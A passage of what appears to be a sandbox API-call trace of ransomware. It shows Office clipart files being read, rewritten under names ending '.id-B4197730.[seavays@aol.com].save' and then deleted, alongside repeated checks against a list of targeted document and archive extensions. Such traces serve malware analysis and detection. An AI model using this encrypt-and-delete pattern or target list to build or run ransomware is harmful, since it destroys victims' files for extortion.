Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 0x220 [0172.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0172.374] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0172.375] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0172.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0172.376] GetLastError () returned 0x0 [0172.377] ReadFile (in: hFile=0x51c, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x614c, lpOverlapped=0x0) returned 1 [0172.380] WriteFile (in: hFile=0x548, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x6150, lpOverlapped=0x0) returned 1 [0172.383] ReadFile (in: hFile=0x51c, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0172.383] WriteFile (in: hFile=0x548, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0172.383] SetEndOfFile (hFile=0x548) returned 1 [0172.383] CloseHandle (hObject=0x548) returned 1 [0172.383] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0172.383] SetEndOfFile (hFile=0x51c) returned 1 [0172.388] CloseHandle (hObject=0x51c) returned 1 [0172.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 1 [0172.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0172.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0172.391] lstrlenW (lpString=".doc") returned 4 [0172.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.391] lstrlenW (lpString=".docx") returned 5 [0172.391] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.391] lstrlenW (lpString=".pdf") returned 4 [0172.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.391] lstrlenW (lpString=".xls") returned 4 [0172.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.391] lstrlenW (lpString=".xlsx") returned 5 [0172.391] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.391] lstrlenW (lpString=".ppt") returned 4 [0172.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0172.391] lstrlenW (lpString=".zip") returned 4 [0172.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.391] lstrlenW (lpString=".rar") returned 4 [0172.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.391] lstrlenW (lpString=".bz2") returned 4 [0172.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.392] lstrlenW (lpString=".7z") returned 3 [0172.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0172.392] lstrlenW (lpString=".dbf") returned 4 [0172.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0172.392] lstrlenW (lpString=".1cd") returned 4 [0172.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0172.392] lstrlenW (lpString=".jpg") returned 4 [0172.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0172.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0172.392] lstrlenW (lpString=".doc") returned 4 [0172.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.392] lstrlenW (lpString=".docx") returned 5 [0172.392] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.392] lstrlenW (lpString=".pdf") returned 4 [0172.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.392] lstrlenW (lpString=".xls") returned 4 [0172.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.393] lstrlenW (lpString=".xlsx") returned 5 [0172.393] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.393] lstrlenW (lpString=".ppt") returned 4 [0172.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0172.393] lstrlenW (lpString=".zip") returned 4 [0172.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.393] lstrlenW (lpString=".rar") returned 4 [0172.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.393] lstrlenW (lpString=".bz2") returned 4 [0172.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.393] lstrlenW (lpString=".7z") returned 3 [0172.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0172.393] lstrlenW (lpString=".dbf") returned 4 [0172.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0172.393] lstrlenW (lpString=".1cd") returned 4 [0172.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0172.393] lstrlenW (lpString=".jpg") returned 4 [0172.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.394] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.394] lstrlenW (lpString="J0107182.WMF") returned 12 [0172.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0172.396] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=16100) returned 1 [0172.396] CloseHandle (hObject=0x51c) returned 1 [0172.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 0x220 [0172.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0172.398] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0172.398] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0172.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0172.399] GetLastError () returned 0x0 [0172.399] ReadFile (in: hFile=0x51c, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x3ee4, lpOverlapped=0x0) returned 1 [0172.401] WriteFile (in: hFile=0x548, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0172.403] ReadFile (in: hFile=0x51c, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0172.403] WriteFile (in: hFile=0x548, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0172.403] SetEndOfFile (hFile=0x548) returned 1 [0172.403] CloseHandle (hObject=0x548) returned 1 [0172.403] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0172.403] SetEndOfFile (hFile=0x51c) returned 1 [0172.892] CloseHandle (hObject=0x51c) returned 1 [0172.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 1 [0173.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0173.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0173.141] lstrlenW (lpString=".doc") returned 4 [0173.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.141] lstrlenW (lpString=".docx") returned 5 [0173.141] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0173.141] lstrlenW (lpString=".pdf") returned 4 [0173.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.141] lstrlenW (lpString=".xls") returned 4 [0173.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.141] lstrlenW (lpString=".xlsx") returned 5 [0173.141] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0173.141] lstrlenW (lpString=".ppt") returned 4 [0173.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0173.141] lstrlenW (lpString=".zip") returned 4 [0173.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.141] lstrlenW (lpString=".rar") returned 4 [0173.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.141] lstrlenW (lpString=".bz2") returned 4 [0173.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.141] lstrlenW (lpString=".7z") returned 3 [0173.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0173.141] lstrlenW (lpString=".dbf") returned 4 [0173.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0173.142] lstrlenW (lpString=".1cd") returned 4 [0173.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0173.142] lstrlenW (lpString=".jpg") returned 4 [0173.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0173.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0173.142] lstrlenW (lpString=".doc") returned 4 [0173.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.142] lstrlenW (lpString=".docx") returned 5 [0173.142] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0173.142] lstrlenW (lpString=".pdf") returned 4 [0173.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.142] lstrlenW (lpString=".xls") returned 4 [0173.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.142] lstrlenW (lpString=".xlsx") returned 5 [0173.142] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0173.142] lstrlenW (lpString=".ppt") returned 4 [0173.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0173.142] lstrlenW (lpString=".zip") returned 4 [0173.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.142] lstrlenW (lpString=".rar") returned 4 [0173.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.142] lstrlenW (lpString=".bz2") returned 4 [0173.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.142] lstrlenW (lpString=".7z") returned 3 [0173.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0173.142] lstrlenW (lpString=".dbf") returned 4 [0173.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0173.143] lstrlenW (lpString=".1cd") returned 4 [0173.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0173.143] lstrlenW (lpString=".jpg") returned 4 [0173.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.143] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.143] lstrlenW (lpString="J0107288.WMF") returned 12 [0173.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0173.144] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=13436) returned 1 [0173.144] CloseHandle (hObject=0x534) returned 1 [0173.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 0x220 [0173.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0173.144] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.144] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0173.146] GetLastError () returned 0x0 [0173.146] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x347c, lpOverlapped=0x0) returned 1 [0173.148] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x3480, lpOverlapped=0x0) returned 1 [0173.149] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0173.149] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0173.150] SetEndOfFile (hFile=0x538) returned 1 [0173.150] CloseHandle (hObject=0x538) returned 1 [0173.150] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.150] SetEndOfFile (hFile=0x534) returned 1 [0173.153] CloseHandle (hObject=0x534) returned 1 [0173.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 1 [0173.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0173.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0173.155] lstrlenW (lpString=".doc") returned 4 [0173.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.155] lstrlenW (lpString=".docx") returned 5 [0173.155] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0173.155] lstrlenW (lpString=".pdf") returned 4 [0173.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.155] lstrlenW (lpString=".xls") returned 4 [0173.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.155] lstrlenW (lpString=".xlsx") returned 5 [0173.155] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0173.155] lstrlenW (lpString=".ppt") returned 4 [0173.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0173.155] lstrlenW (lpString=".zip") returned 4 [0173.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.155] lstrlenW (lpString=".rar") returned 4 [0173.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.155] lstrlenW (lpString=".bz2") returned 4 [0173.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.155] lstrlenW (lpString=".7z") returned 3 [0173.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0173.156] lstrlenW (lpString=".dbf") returned 4 [0173.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0173.156] lstrlenW (lpString=".1cd") returned 4 [0173.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0173.156] lstrlenW (lpString=".jpg") returned 4 [0173.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0173.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0173.156] lstrlenW (lpString=".doc") returned 4 [0173.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.156] lstrlenW (lpString=".docx") returned 5 [0173.156] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0173.156] lstrlenW (lpString=".pdf") returned 4 [0173.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.156] lstrlenW (lpString=".xls") returned 4 [0173.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.156] lstrlenW (lpString=".xlsx") returned 5 [0173.156] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0173.156] lstrlenW (lpString=".ppt") returned 4 [0173.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0173.156] lstrlenW (lpString=".zip") returned 4 [0173.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.156] lstrlenW (lpString=".rar") returned 4 [0173.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.156] lstrlenW (lpString=".bz2") returned 4 [0173.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.157] lstrlenW (lpString=".7z") returned 3 [0173.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0173.157] lstrlenW (lpString=".dbf") returned 4 [0173.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0173.157] lstrlenW (lpString=".1cd") returned 4 [0173.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0173.157] lstrlenW (lpString=".jpg") returned 4 [0173.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.157] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.157] lstrlenW (lpString="J0107290.WMF") returned 12 [0173.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0173.158] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=12308) returned 1 [0173.158] CloseHandle (hObject=0x534) returned 1 [0173.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 0x220 [0173.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0173.159] 